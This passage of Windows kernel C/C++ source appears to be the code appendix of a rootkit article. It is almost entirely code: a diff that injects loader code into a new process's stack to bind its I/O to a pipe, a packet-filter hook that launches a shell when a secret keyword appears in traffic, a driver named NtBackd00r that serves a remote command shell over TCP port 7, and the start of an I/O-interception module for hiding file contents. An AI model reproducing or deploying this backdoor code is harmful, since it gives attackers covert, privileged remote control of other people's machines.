ULONG(stack.ExpandableStackBase) - 4; context.Eip = ULONG(sii.EntryPoint);
NT::CLIENT_ID cid;
ZwCreateThread(&hThread,
THREAD_ALL_ACCESS, &oa, hProcess, &cid, &context, &stack,
TRUE);
NT::PROCESS_BASIC_INFORMATION pbi;
NT::ZwQueryInformationProcess(hProcess, NT::ProcessBasicInformation,
&pbi, sizeof pbi, 0);
HANDLE hPipe,hPipe1; oa.ObjectName =
PipeName; oa.Attributes = OBJ_INHERIT; if(NT::ZwOpenFile(&hPipe1,
GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE, &oa, &iosb, FILE_SHARE_READ
| FILE_SHARE_WRITE, FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE))
return 0; NT::ZwDuplicateObject(NtCurrentProcess(), hPipe1, hProcess,
&hPipe, 0, 0, DUPLICATE_SAME_ACCESS | DUPLICATE_CLOSE_SOURCE);
CreateProcessParameters(hProcess, pbi.PebBaseAddress, name, hPipe);
InformCsrss(hProcess, hThread, ULONG(cid.UniqueProcess),
ULONG(cid.UniqueThread));
ZwResumeThread(hThread, 0);
NT::ZwClose(hProcess); NT::ZwClose(hThread);
return
int(cid.UniqueProcess); }
int execute_piped(VOID *ImageFileName,
NT::PUNICODE_STRING PipeName) { NT::UNICODE_STRING ImageFile;
NT::RtlInitUnicodeString(&ImageFile, (wchar_t *)ImageFileName);
return exec_piped(&ImageFile, PipeName); }
----[ 8.5 -
NebbetCreateProcess.diff
268a269,384 > typedef >
WINBASEAPI > BOOL > (WINAPI > *f_SetStdHandle)( > IN
DWORD nStdHandle, > IN HANDLE hHandle > ); > typedef
> WINBASEAPI > HANDLE > (WINAPI > *f_CreateFileW)(
> IN LPCWSTR lpFileName, > IN DWORD dwDesiredAccess, > IN
DWORD dwShareMode, > IN LPSECURITY_ATTRIBUTES lpSecurityAttributes,
> IN DWORD dwCreationDisposition, > IN DWORD dwFlagsAndAttributes,
> IN HANDLE hTemplateFile > ); > #ifdef _DEBUG >
typedef > WINBASEAPI > DWORD > (WINAPI >
*f_GetLastError)( > VOID > ); > #endif > typedef
VOID (*f_EntryPoint)(VOID); > > struct s_data2embed > {
> wchar_t PipeName[PIPE_NAME_MAX]; > //wchar_t
RPipeName[PIPE_NAME_MAX], WPipeName[PIPE_NAME_MAX]; > f_SetStdHandle
pSetStdHandle; > f_CreateFileW pCreateFileW; > f_EntryPoint
EntryPoint; > #ifdef _DEBUG > f_GetLastError pGetLastError;
> #endif > }; > > //void before_code2embed(){};
> void code2embed(s_data2embed *embedded_data) > { > HANDLE
hPipe; > > __asm int 3; > hPipe =
embedded_data->pCreateFileW(embedded_data->PipeName, > GENERIC_READ
| GENERIC_WRITE | SYNCHRONIZE, > 0/*FILE_SHARE_READ | FILE_SHARE_WRITE*/,
> NULL, > OPEN_EXISTING, > 0/*FILE_ATTRIBUTE_NORMAL*/,
> NULL); > embedded_data->pGetLastError(); > /*//if
(hRPipe==INVALID_HANDLE_VALUE) goto cont; > hWPipe =
embedded_data->pCreateFileW(embedded_data->WPipeName, >
GENERIC_WRITE | SYNCHRONIZE, > FILE_SHARE_READ /*| FILE_SHARE_WRITE*,
> NULL, > OPEN_EXISTING, > 0, > NULL); >
embedded_data->pGetLastError(); > if
((hRPipe!=INVALID_HANDLE_VALUE)&&(hWPipe!=INVALID_HANDLE_VALUE)) */
> if (hPipe!=INVALID_HANDLE_VALUE) > { >
embedded_data->pSetStdHandle(STD_INPUT_HANDLE, hPipe); >
embedded_data->pSetStdHandle(STD_OUTPUT_HANDLE, hPipe); >
embedded_data->pSetStdHandle(STD_ERROR_HANDLE, hPipe); > } >
embedded_data->EntryPoint(); > } > __declspec(naked) void
after_code2embed(){}; > #define sizeof_code2embed
((ULONG)&after_code2embed-(ULONG)&code2embed) > > void
redir2pipe(HANDLE hProcess, wchar_t *PipeName/*, wchar_t *WPipeName*/, PVOID
EntryPoint, PVOID pStack, /*OUT PULONG pData,*/ OUT PULONG pCode, OUT PULONG
pNewStack) > { > s_data2embed data2embed; > PVOID
pKERNEL32; > NT::UNICODE_STRING ModuleFileName; > > _asm
int 3; > > *pCode = 0; > *pNewStack = 0; >
NT::RtlInitUnicodeString(&ModuleFileName, L"kernel32.dll"); >
LdrGetDllHandle(NULL, NULL, &ModuleFileName, &pKERNEL32); > if
(!pKERNEL32) return; >
data2embed.pSetStdHandle=(f_SetStdHandle)FindFunc(pKERNEL32, "SetStdHandle");
> data2embed.pCreateFileW=(f_CreateFileW)FindFunc(pKERNEL32,
"CreateFileW"); > #ifdef _DEBUG >
data2embed.pGetLastError=(f_GetLastError)FindFunc(pKERNEL32, "GetLastError");
> #endif > if
((!data2embed.pSetStdHandle)||(!data2embed.pCreateFileW)) return; >
data2embed.EntryPoint=(f_EntryPoint)EntryPoint; >
wcscpy(data2embed.PipeName, PipeName); > //wcscpy(data2embed.WPipeName,
WPipeName); > char* p = (char*)pStack - sizeof_code2embed; > if
(ZwWriteVirtualMemory(hProcess, p, &code2embed, sizeof_code2embed, 0))
return; > *pCode = (ULONG)p; > > p -= sizeof s_data2embed;
> if (ZwWriteVirtualMemory(hProcess, p, &data2embed, sizeof
s_data2embed, 0)) return; > > PVOID pData = (PVOID)p; > p
-= sizeof pData; > if (ZwWriteVirtualMemory(hProcess, p, &pData,
sizeof pData, 0)) return; > > p -= 4; > *pNewStack =
(ULONG)p; > } > 317a434,437 > ULONG newEIP, NewStack;
> redir2pipe(hProcess, PipeName->Buffer, sii.EntryPoint,
stack.ExpandableStackBase, &newEIP, &NewStack); > if
((!NewStack)||(!newEIP)) return 0; > 326,327c446,449 <
context.Esp = ULONG(stack.ExpandableStackBase) - 4; < context.Eip =
ULONG(sii.EntryPoint); --- > //loader code is on the stack >
context.Esp = NewStack; > context.Eip = newEIP; ----[ 8.6 - NtdllDynamicLoader.cpp
#include <ntdll.h>
//#include "UndocKernel.h" #include "DynLoadFromNtdll.h"
//Example A.2 from Nebbet's book
//Search loaded module by name
PVOID FindModule(char *module) { ULONG n; //Request necessary
size of buffer NT::ZwQuerySystemInformation(NT::SystemModuleInformation,
&n, 0, &n); //Allocate memory for n structures PULONG q =
(PULONG)NT::ExAllocatePool(NT::NonPagedPool,n*sizeof(*q)); //Request
information about modules
NT::ZwQuerySystemInformation(NT::SystemModuleInformation, q, n * sizeof
*q, 0);
//Module counter located at address q, information begins at q+1
NT::PSYSTEM_MODULE_INFORMATION p = NT::PSYSTEM_MODULE_INFORMATION(q +
1); PVOID ntdll = 0;
//Cycle for each module ... for (ULONG i =
0; i < *q; i++) { //...compare it's name with looked for... if
(_stricmp(p[i].ImageName + p[i].ModuleNameOffset, module) == 0) {
//...and stop if module found ntdll = p[i].Base; break; } }
//Free memory NT::ExFreePool(q); return ntdll; }
PVOID
FindNT() { return FindModule("ntdll.dll"); }
//Search
exported function named Name in module, loaded at addrress Base PVOID
FindFunc(PVOID Base, PCSTR Name) { //At addrress Base there is DOS EXE
header PIMAGE_DOS_HEADER dos = PIMAGE_DOS_HEADER(Base); //Extract offset
of PE-header from it PIMAGE_NT_HEADERS nt = PIMAGE_NT_HEADERS(PCHAR(Base) +
dos->e_lfanew); //Evaluate pointer to section table, //according to
directory of exported functions PIMAGE_DATA_DIRECTORY expdir =
nt->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT;
//Extract address and size of that table ULONG size = expdir->Size;
ULONG addr = expdir->VirtualAddress;
//Evaluate pointers: //
- to directory of exported functions PIMAGE_EXPORT_DIRECTORY exports =
PIMAGE_EXPORT_DIRECTORY(PCHAR(Base) + addr); // - to table of addresses
PULONG functions = PULONG(PCHAR(Base) + exports->AddressOfFunctions);
// - to table of ordinals PSHORT ordinals = PSHORT(PCHAR(Base) +
exports->AddressOfNameOrdinals); // - to table of names PULONG names
= PULONG(PCHAR(Base) + exports->AddressOfNames);
//Cycle through
table of names ... for (ULONG i = 0; i < exports->NumberOfNames; i++)
{ //Ordinal that matches name is index in the table of addresses ULONG
ord = ordinals[i]; //Test is the address correct if (functions[ord] <
addr || functions[ord] >= addr + size) { //If function name matches
looked for... if (strcmp(PSTR(PCHAR(Base) + names[i]), Name) == 0)
//then return it's address return PCHAR(Base) + functions[ord]; }
} //Function not found return 0; }
----[ 8.7 -
Filtering.cpp
extern "C" { #include <ntddk.h> #include
<ntddndis.h> #include <pfhook.h> #include "filtering.h"
#include "Sniffer.h"
NTSYSAPI NTSTATUS NTAPI
ZwLoadDriver( IN PUNICODE_STRING DriverServiceName ); }
extern PF_FORWARD_ACTION PacketFilter( IN IPHeader
*PacketHeader, IN unsigned char *Packet, IN unsigned int PacketLength,
IN unsigned int RecvInterfaceIndex, IN unsigned int SendInterfaceIndex,
IN IPAddr RecvLinkNextHop, IN IPAddr SendLinkNextHop );
NTSTATUS globalresult; PDEVICE_OBJECT pDeviceObject;
PFILE_OBJECT pFileObject; KEVENT Event;
NTSTATUS
SutdownFiltering() { if ((pDeviceObject)&&(pFileObject)) {
globalresult=SetupFiltering(NULL); ObDereferenceObject(pFileObject);
return globalresult; } else return STATUS_SUCCESS; }
NTSTATUS InitFiltering() { UNICODE_STRING FiltDrvName;
UNICODE_STRING DSN={0}; //_asm int 3;
RtlInitUnicodeString(&FiltDrvName,L"\\Device\\IPFILTERDRIVER");
pDeviceObject=NULL; retry:
IoGetDeviceObjectPointer(&FiltDrvName,SYNCHRONIZE|GENERIC_READ|GENERIC_WRITE,&pFileObject,&pDeviceObject);
if ((!pDeviceObject)&&(!DSN.Length)) {
RtlInitUnicodeString(&DSN,L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\IpFilterDriver");
ZwLoadDriver(&DSN); goto retry; } if (pDeviceObject) {
KeInitializeEvent(&Event,NotificationEvent,FALSE); return
SetupFiltering(&PacketFilter); } else return
STATUS_OBJECT_NAME_NOT_FOUND; }
NTSTATUS SetupFiltering(void
*PacketFilterProc) { IO_STATUS_BLOCK iostb; LARGE_INTEGER Timeout;
PIRP pirp = NULL; //_asm int 3; pirp =
IoBuildDeviceIoControlRequest(IOCTL_PF_SET_EXTENSION_POINTER,pDeviceObject,(PPF_SET_EXTENSION_HOOK_INFO)&PacketFilterProc,sizeof(PF_SET_EXTENSION_HOOK_INFO),NULL,0,FALSE,&Event,&iostb);
if (!pirp) { return STATUS_UNSUCCESSFUL; }
globalresult=IoCallDriver(pDeviceObject,pirp); if (globalresult ==
STATUS_PENDING) { Timeout.QuadPart=100000000; if
(KeWaitForSingleObject(&Event,Executive,KernelMode,FALSE,&Timeout)!=STATUS_SUCCESS)
return STATUS_UNSUCCESSFUL; globalresult = pirp->IoStatus.Status;
} return globalresult; }
----[ 8.8 - MPFD_main.cpp
extern "C" { #include <ntddk.h> #include
<ntddndis.h> #include <pfhook.h> #include "Sniffer.h"
#include "Filtering.h" }
extern VOID ShellStarter(VOID*
StartShellEvent); HANDLE hShellStarterTread=NULL; BOOLEAN
Terminating=FALSE; KEVENT StartShellEvent;
unsigned char * __cdecl
memfind( const unsigned char * str1, unsigned int n1, const unsigned
char * str2, unsigned int n2 ) { if (n2>n1) return NULL;
unsigned char *cp = (unsigned char *) str1; unsigned char *s1, *s2;
unsigned int x;
for (unsigned int i=0;i<=n1-n2;i++) { s1
= cp; s2 = (unsigned char *) str2; x=n2;
while (x &&
!(*s1-*s2) ) s1++, s2++, x--; if (!x) return(cp); cp++; }
return(NULL); }
unsigned char
keyword[]="\x92\x98\xC7\x68\x9F\xF9\x42\xA9\xB2\xD8\x38\x5C\x8C\x31\xE1\xD6";
PF_FORWARD_ACTION PacketFilter( IN IPHeader *PacketHeader, IN
unsigned char *Packet, IN unsigned int PacketLength, IN unsigned int
RecvInterfaceIndex, IN unsigned int SendInterfaceIndex, IN IPAddr
RecvLinkNextHop, IN IPAddr SendLinkNextHop ) { if
(memfind(Packet,PacketLength,keyword,sizeof(keyword))) { HANDLE
ThreadHandle; KeSetEvent(&StartShellEvent, 0, FALSE); } return
PF_PASS; }
NTSTATUS OnStubDispatch( IN PDEVICE_OBJECT
DeviceObject, IN PIRP Irp ) { Irp->IoStatus.Status =
STATUS_SUCCESS; IoCompleteRequest (Irp, IO_NO_INCREMENT );
return Irp->IoStatus.Status; }
VOID OnUnload( IN
PDRIVER_OBJECT DriverObject ) { #if (DBG) DbgPrint("MPFD: OnUnload
called\n"); #endif PVOID ThreadObj; SutdownFiltering(); if
(hShellStarterTread) { Terminating=TRUE;
ObReferenceObjectByHandle(hShellStarterTread, THREAD_ALL_ACCESS, NULL,
KernelMode, &ThreadObj, NULL); KeSetEvent(&StartShellEvent, 0,
TRUE); KeWaitForSingleObject(ThreadObj, Executive, KernelMode, FALSE, NULL);
} }
#pragma code_seg("INIT")
NTSTATUS
DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) {
NTSTATUS status;
#if (DBG) DbgPrint("MPFD:In DriverEntry\n");
#endif UNREFERENCED_PARAMETER(RegistryPath);
for (int i = 0; i
< IRP_MJ_MAXIMUM_FUNCTION; i++) { DriverObject->MajorFunction[i] =
OnStubDispatch; } DriverObject->DriverUnload = OnUnload;
status=InitFiltering(); if (status!=STATUS_SUCCESS) return status;
KeInitializeEvent(&StartShellEvent,SynchronizationEvent,FALSE);
OBJECT_ATTRIBUTES attr={sizeof(OBJECT_ATTRIBUTES), 0,NULL,
OBJ_CASE_INSENSITIVE}; status=PsCreateSystemThread(&hShellStarterTread,
THREAD_ALL_ACCESS, &attr, 0, NULL, ShellStarter, &StartShellEvent);
return status; }
----[ 8.9 - NtBackd00r.cpp
//
NtBackd00r.cpp // // Generated by Driver::Wizard version 2.0
#define VDW_MAIN #include <vdw.h> #include <stdio.h>
#include <ntifs.h> #include "function.h" #include
"NtBackd00r.h" #pragma hdrstop("NtBackd00r.pch")
#if (DBG)
#define dprintf DbgPrint #else #define dprintf #endif
extern "C" { NTSYSAPI NTSTATUS NTAPI
ZwWaitForMultipleObjects( IN ULONG HandleCount, IN PHANDLE Handles,
IN WAIT_TYPE WaitType, IN BOOLEAN Alertable, IN PLARGE_INTEGER
Timeout OPTIONAL );
NTSYSAPI NTSTATUS NTAPI
ZwCreateEvent( OUT PHANDLE EventHandle, IN ACCESS_MASK
DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN EVENT_TYPE
EventType, IN BOOLEAN InitialState );
NTSYSAPI NTSTATUS
NTAPI ZwSetEvent( IN HANDLE EventHandle, OUT PULONG
PreviousState OPTIONAL ); }
extern "C" void LoadFuncs();
extern "C" HANDLE StartShell(PHANDLE phPipe); extern VOID
ShellStarter(VOID* StartShellEvent);
/////////////////////////////////////////////////////////////////////
// Begin INIT section #pragma code_seg("INIT")
DECLARE_DRIVER_CLASS(NtBackd00r, NULL)
/////////////////////////////////////////////////////////////////////
// Driver Entry // NTSTATUS NtBackd00r::DriverEntry(PUNICODE_STRING
RegistryPath) { UNREFERENCED_PARAMETER(RegistryPath);
//Dynamic
import of functions exported from ntdll.dll LoadFuncs();
//
Initialize the TDIClient framework first if (!KTDInterface::Initialize())
{ // something wrong with TDI return STATUS_NOT_FOUND; }
// Create TCP server, port 7 CIPTRANSPORT_ADDRESS
TCP_port(IPPORT_ECHO); m_pListener = new(NonPagedPool)
KStreamServer<Session> (TCP_port);
// If succeeded - enable
network events
if (m_pListener && m_pListener->IsCreated()) {
m_pListener->SetEvents(TRUE); dprintf("NtBackd00rDevice: Listener
started\n"); } else { dprintf("NtBackd00rDevice: Failed to start
(port conflict?)\n"); return STATUS_INSUFFICIENT_RESOURCES; }
//Create dummy device for IoQueueWorkItem m_pDummyDevice =
new(NonPagedPool) DummyDevice(NULL, FILE_DEVICE_UNKNOWN, NULL);
if
(m_pDummyDevice == NULL) { return STATUS_INSUFFICIENT_RESOURCES; }
return STATUS_SUCCESS; }
#pragma code_seg() #pragma
warning( disable : 4706 )
//This message will be sen to client in case
of failure when starting shell char errtxt_shell[]="cant start shell";
//////////////////////////////////////////////////////////////////////////////
// Unload is responsible for releasing any system objects that // the
driver has allocated. // VOID NtBackd00r::Unload(VOID) {
if
(m_pListener) { // Disable network event notifications
m_pListener->SetEvents(FALSE);
// Iterate through the list of
active sessions // and forcefully disconnect all active sessions
Session* p; TDI_STATUS Status;
while ( p =
m_ActiveSessionList.RemoveHead() ) { // Thread handle must be extracted
before dele p HANDLE hWorkerThread = p->hDataPumpThread; // By
default, this method will perform an // abortive disconnect (RST) Status
= p->disconnect(); ASSERT(TDI_PENDING == Status || TDI_SUCCESS ==
Status); delete p; // It's required to wait for termination of worker
threads, // or else unloading driver will cause BSOD if (hWorkerThread)
ZwWaitForSingleObject(hWorkerThread, FALSE, NULL); }
// Wait for all
outstanding requests to complete // By issuing a disconnect for all
sessions, any // pending requests should be completed by the transport
m_pListener->Wait();
// destroy the socket delete
m_pListener; m_pListener = NULL;
dprintf("NtBackd00rDevice: Listener
stopped\n"); }
delete m_pDummyDevice;
// Call base class
destructor to delete all devices. KDriver::Unload(); }
// Frees
buffers, given to ZwWriteFile for asynchronous write VOID NTAPI
ApcCallbackWriteComplete( IN PVOID ApcContext, IN PIO_STATUS_BLOCK
IoStatusBlock, IN ULONG Reserved ) {
UNREFERENCED_PARAMETER(IoStatusBlock); UNREFERENCED_PARAMETER(Reserved);
// delete (uchar *)ApcContext; }
#define
SENDS_QUEUED_THRESHOLD 3
// Thread, that transfers data between named
pipe and socket VOID DataPumpThread(IN PVOID thiz1) {
IO_STATUS_BLOCK send_iosb, rcv_iosb; uchar *send_buf, *rcv_buf;
ULONG rd; const bufsize=0x1000; NTSTATUS status; LARGE_INTEGER
ResendInterval; //loacl copy of Pipes needed for correct thread termination
//after deleting Session s_Pipes *Pipes;
Session*
thiz=(Session*)thiz1; Pipes=thiz->m_Pipes; ResendInterval.QuadPart =
(__int64)1E6; //0.1c
//Create FIFO //Source of BSOD at high IRQL
thiz->pWBytePipe = new(NonPagedPool) KLockableFifo<UCHAR>(0x100000,
NonPagedPool); //Lock socket to avoid sudden deletion of it
thiz->Lock();
//send_buf alocated here, deleted in OnSendComplete
send_buf = new(NonPagedPool) uchar[bufsize]; //Start asynchronous read
status=ZwReadFile(Pipes->hPipe, Pipes->hPipeEvents[1], NULL, NULL,
&send_iosb, send_buf, bufsize, NULL, NULL); if (status==STATUS_SUCCESS)
{ //Send read data to client status=thiz->send(send_buf,
send_iosb.Information, send_buf); if
((status!=STATUS_PENDING)&&(status!=STATUS_SUCCESS)) dprintf("send
error %08x\n"); //to avoid recurring send of same data send_iosb.Status
= -1; } while (1) switch (ZwWaitForMultipleObjects(2,
&Pipes->hPipeEvents[0], WaitAny, TRUE, NULL)) { //STATUS_WAIT_1 -
read operation completed case STATUS_WAIT_1: // if
(Pipes->Terminating) goto fin; if (!Pipes->hPipe) break; sending:
{ if (!send_iosb.Status) { resend: //Send read data to
client status=thiz->send(send_buf, send_iosb.Information, send_buf);
//If there wan an error, then it tried to push too much data in socket
if ((status!=STATUS_SUCCESS)&&(status!=STATUS_PENDING)) {
//Wait for free space in buffer... KeDelayExecutionThread(KernelMode,
TRUE, &ResendInterval); //...and retry goto resend; } }
//send_buf alocated here, deleted in OnSendComplete send_buf =
new(NonPagedPool) uchar[bufsize]; //Start asynchronous read
status=ZwReadFile(Pipes->hPipe, Pipes->hPipeEvents[1], NULL, NULL,
&send_iosb, send_buf, bufsize, NULL, NULL); //If there was a data in
pipe buffer, it read instantly. if (status==STATUS_SUCCESS) //send it
immediately goto sending; else { if (status!=STATUS_PENDING) {
delete send_buf; //STATUS_PIPE_LISTENING - it's OK, process not
connected to pipe yet if (status!=STATUS_PIPE_LISTENING) {
//otherwise it was an error, disconnect client and terminate thread if
(!Pipes->Terminating) thiz->disconnect(); goto fin; } } }
}; break; //STATUS_WAIT_0 - write operation completed case
STATUS_WAIT_0: if (Pipes->Terminating) goto fin; if
(!Pipes->hPipe) break; //FIFO must be locked during all operation with it
//to avoid conflicts thiz->pWBytePipe->Lock(); //At first look
what crowd into FIFO,... rd =
thiz->pWBytePipe->NumberOfItemsAvailableForRead(); if (rd) {
//... then allocate appropriate amount of memory ... rcv_buf =
new(NonPagedPool) uchar[rd]; //... and read all at once rd =
thiz->pWBytePipe->Read(rcv_buf, rd); }
thiz->pWBytePipe->Unlock(); if (rd) { status =
ZwWriteFile(Pipes->hPipe, NULL, ApcCallbackWriteComplete, rcv_buf,
&rcv_iosb, rcv_buf, rd, NULL, NULL); if
((status!=STATUS_SUCCESS)&&(status!=STATUS_PIPE_LISTENING)&&(status!=STATUS_PENDING))
{ //if there was an error, disconnect client and terminate thread if
(!Pipes->Terminating) thiz->disconnect(); goto fin; } }
break; case STATUS_ALERTED: break; default: goto fin; }
fin: //If termination not initiated from outside, unlock socket if
(!Pipes->Terminating) thiz->Unlock(); //If pipe exists, then all the
rest exists too - //destroy it all if (Pipes->hPipe) {
ZwClose(Pipes->hPipe); for (int i=0;i<=1;i++)
ZwClose(Pipes->hPipeEvents[i]); CLIENT_ID clid = {Pipes->ChildPID,
0}; HANDLE hProcess; OBJECT_ATTRIBUTES attr={sizeof(OBJECT_ATTRIBUTES),
0, NULL, 0}; #define PROCESS_TERMINATE (0x0001) status =
ZwOpenProcess(&hProcess, PROCESS_TERMINATE, &attr, &clid); if
(!status) { ZwTerminateProcess(hProcess, 0); ZwClose(hProcess);
} } delete Pipes; PsTerminateSystemThread(0); }
#define DISABLE_INTS __asm pushfd; cli #define RESTORE_INTS __asm popfd;
VOID ShellStarter(IN PDEVICE_OBJECT DeviceObject, IN PVOID desc1) {
OBJECT_ATTRIBUTES attr; HANDLE loc_hPipe, loc_hPipeEvents[2],
loc_ChildPID;
UNREFERENCED_PARAMETER(DeviceObject);
#define desc
((s_WorkItemDesc*)desc1) //By course of business will check is there
"cancel" command if (desc->WorkItemCanceled) goto cancel2;
//Start shell loc_ChildPID = StartShell(&loc_hPipe); if
(loc_ChildPID) { InitializeObjectAttributes(&attr, NULL, 0, NULL,
NULL);
//Create 2 events to notify thread about data receipt //from
socket or pipe for (int i=0;i<=1;i++)
ZwCreateEvent(&loc_hPipeEvents[i], EVENT_ALL_ACCESS, &attr,
SynchronizationEvent, FALSE);
//Disable interrupts and write all handles
to structure that is class member DISABLE_INTS if
(!desc->WorkItemCanceled) { desc->thiz->m_Pipes->hPipe =
loc_hPipe; desc->thiz->m_Pipes->hPipeEvents[0] =
loc_hPipeEvents[0]; desc->thiz->m_Pipes->hPipeEvents[1] =
loc_hPipeEvents[1]; desc->thiz->m_Pipes->ChildPID = loc_ChildPID;
} RESTORE_INTS
if (desc->WorkItemCanceled) goto cancel;
//Create thread, that transfers data between named pipe and socket
PsCreateSystemThread(&desc->thiz->hDataPumpThread,
THREAD_ALL_ACCESS, NULL, 0, NULL, DataPumpThread, desc->thiz); } else {
cancel: //In case of error or cancel close pipe, send error message to
client, //and disconnect it ZwClose(loc_hPipe); char* errmess =
new(NonPagedPool) char[sizeof(errtxt_shell)-1]; RtlCopyMemory(errmess,
errtxt_shell, sizeof(errtxt_shell)-1); desc->thiz->send(errmess,
sizeof(errtxt_shell)-1); desc->thiz->disconnect(); } cancel2:
//Cleanup IoFreeWorkItem(desc->WorkItem); DISABLE_INTS
desc->WorkItem = NULL; if (!desc->WorkItemCanceled)
desc->thiz->m_WorkItemDesc = NULL; RESTORE_INTS ExFreePool(desc1);
#undef desc }
/////////////////////////////////////////////////////////////////////////
// Session -- Event handlers. BOOLEAN Session::OnConnect(uint
AddressLength, PTRANSPORT_ADDRESS pTA, uint OptionsLength, PVOID Options)
{ // Connecting: print the IP address of the requestor and grant the
connection #if(DBG) char szIPaddr[20];
inet_ntoa(PTDI_ADDRESS_IP(pTA->Address[0].Address)->in_addr, szIPaddr,
sizeof(szIPaddr));
dprintf("NtBackd00rDevice: Connecting client, IP addr
= %s, session %8X\n", szIPaddr, this); #endif // obtain a pointer to the
KDriver derived class NtBackd00r* p =
reinterpret_cast<NtBackd00r*>(KDriver::DriverInstance()); ASSERT(p);
//Initialization of miscellaneous stuff pWBytePipe = NULL;
hDataPumpThread = NULL; m_Pipes = new(NonPagedPool) s_Pipes;
RtlZeroMemory(m_Pipes, sizeof s_Pipes);
//Initialize and start
WorkItem m_WorkItemDesc = ExAllocatePool(NonPagedPool, sizeof
s_WorkItemDesc); #define pWorkItemDesc ((s_WorkItemDesc*)m_WorkItemDesc)
pWorkItemDesc->WorkItemCanceled=false; pWorkItemDesc->thiz=this;
pWorkItemDesc->WorkItem=IoAllocateWorkItem(*p->m_pDummyDevice); if
(!pWorkItemDesc->WorkItem) return FALSE; //To make this work on NT4
replace IoQueueWorkItem with ExQueueWorkItem
IoQueueWorkItem(pWorkItemDesc->WorkItem, &ShellStarter,
CriticalWorkQueue, pWorkItemDesc); #undef pWorkItemDesc
// Add this
object to the session list maintained by the driver
p->m_ActiveSessionList.InsertTail(this);
UNREFERENCED_PARAMETERS4(AddressLength, pTA, OptionsLength, Options);
return TRUE; }
void Session::OnDisconnect(uint OptionsLength,
PVOID Options, BOOLEAN bAbort) {
dprintf("NtBackd00rDevice:
Disconnecting client, session %8X\n", this);
UNREFERENCED_PARAMETERS3(OptionsLength, Options,bAbort); }
Session::~Session() { // obtain a pointer to the KDriver derived
class NtBackd00r* p =
reinterpret_cast<NtBackd00r*>(KDriver::DriverInstance()); ASSERT(p);
// Remove this object from the session list maintained by the driver
p->m_ActiveSessionList.Remove(this);
//Set flas, that make thread
to terminate m_Pipes->Terminating = true; //To not wait for yesterday
in OnUnload hDataPumpThread = NULL; //Set event "let's finish" if (
m_Pipes && (m_Pipes->hPipeEvents[0]))
ZwSetEvent(m_Pipes->hPipeEvents[0], NULL);
//If WorkItem works,
notify it about termination if (m_WorkItemDesc)
((s_WorkItemDesc*)m_WorkItemDesc)->WorkItemCanceled=true;
delete
pWBytePipe; }
uint Session::OnReceive(uint Indicated, uchar *Data,
uint Available, uchar **RcvBuffer, uint* RcvBufferLen) { // Received
some data from the client peer.
//If all required pointers and handles
are valid if (m_Pipes && pWBytePipe && m_Pipes->hPipe)
{ //Write that data to FIFO pWBytePipe->LockedWrite(Data,
Indicated); //And notify DataPumpThread
ZwSetEvent(m_Pipes->hPipeEvents[0], NULL); }
// Now, if
the transport has more data available than indicated, // allocate another
buffer to read the rest. When the transport // done with it - asynchronously
- our OnReceiveComplete() handler // is called. Note that failure to submit
a buffer supressed further // recieve indications - until and if a recv() is
issued.
if (Indicated < Available) { *RcvBuffer =
new(NonPagedPool) uchar [*RcvBufferLen = Available-Indicated]; }
return Indicated; }
void Session::OnSendComplete(PVOID buf,
TDI_STATUS status, uint bytecnt) { // Our send request has completed.
Free the buffer
if (status != TDI_SUCCESS)
dprintf("NtBackd00rDevice: Failed sending data, err %X\n", status);
//free the buffer delete ((uchar*)buf);
UNREFERENCED_PARAMETER(bytecnt); }
void
Session::OnReceiveComplete(TDI_STATUS status, uint Indicated, uchar *Data) {
// Buffer for the partially indicated data allocated and submitted during
// OnReceive() processing is filled in by the transport.
if (status
== TDI_SUCCESS) { if (m_Pipes && pWBytePipe &&
m_Pipes->hPipe) { //Write that data to FIFO
pWBytePipe->LockedWrite(Data, Indicated); //And notify DataPumpThread
ZwSetEvent(m_Pipes->hPipeEvents[0], NULL); } } else
dprintf("NtBackd00rDevice: Failed completing receive, err %X\n", status);
if (status != TDI_PENDING) delete Data; }
// end of file
---[ 8.10 - Intercept.cpp
//This module hooks: //
IRP_MJ_READ, IRP_MJ_WRITE, IRP_MJ_QUERY_INFORMATION, //
IRP_MJ_SET_INFORMATION, IRP_MJ_DIRECTORY_CONTROL, //
FASTIO_QUERY_STANDARD_INFO FASTIO_QUERY_BASIC_INFO FASTIO_READ(WRITE) //to
hide first N bytes of given file
extern "C" { #include
<ntddk.h> } #pragma hdrstop("InterceptIO.pch")
/////////////////////////////////////////////////////////////////////
// Undocumented structures missing in ntddk.h
typedef struct
_FILE_INTERNAL_INFORMATION { // Information Class 6 LARGE_INTEGER FileId;
} FILE_INTERNAL_INFORMATION, *PFILE_INTERNAL_INFORMATION;
typedef
struct _FILE_EA_INFORMATION { // Information Class 7 ULONG
EaInformationLength; } FILE_EA_INFORMATION, *PFILE_EA_INFORMATION;
typedef struct _FILE_ACCESS_INFORMATION { // Information Class 8
ACCESS_MASK GrantedAccess; } FILE_ACCESS_INFORMATION,
*PFILE_ACCESS_INFORMATION;
typedef struct _FILE_MODE_INFORMATION { //
Information Class 16 ULONG Mode; } FILE_MODE_INFORMATION,
*PFILE_MODE_INFORMATION;
typedef struct _FILE_ALLOCATION_INFORMATION {
// Information Class 19 LARGE_INTEGER AllocationSize; }
FILE_ALLOCATION_INFORMATION, *PFILE_ALLOCATION_INFORMATION;
typedef
struct _FILE_DIRECTORY_INFORMATION { ULONG NextEntryOffset; ULONG
FileIndex; LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER
EndOfFile; LARGE_INTEGER AllocationSize; ULONG FileAttributes; ULONG
FileNameLength; WCHAR FileName[1]; } FILE_DIRECTORY_INFORMATION,
*PFILE_DIRECTORY_INFORMATION;
typedef struct _FILE_ALL_INFORMATION { //
Information Class 18 FILE_BASIC_INFORMATION BasicInformation;
FILE_STANDARD_INFORMATION StandardInformation; FILE_INTERNAL_INFORMATION
InternalInformation; FILE_EA_INFORMATION EaInformation;
FILE_ACCESS_INFORMATION AccessInformation; FILE_POSITION_INFORMATION
PositionInformation; FILE_MODE_INFORMATION ModeInformation;
FILE_ALIGNMENT_INFORMATION AlignmentInformation; FILE_NAME_INFORMATION
NameInformation; } FILE_ALL_INFORMATION, *PFILE_ALL_INFORMATION;
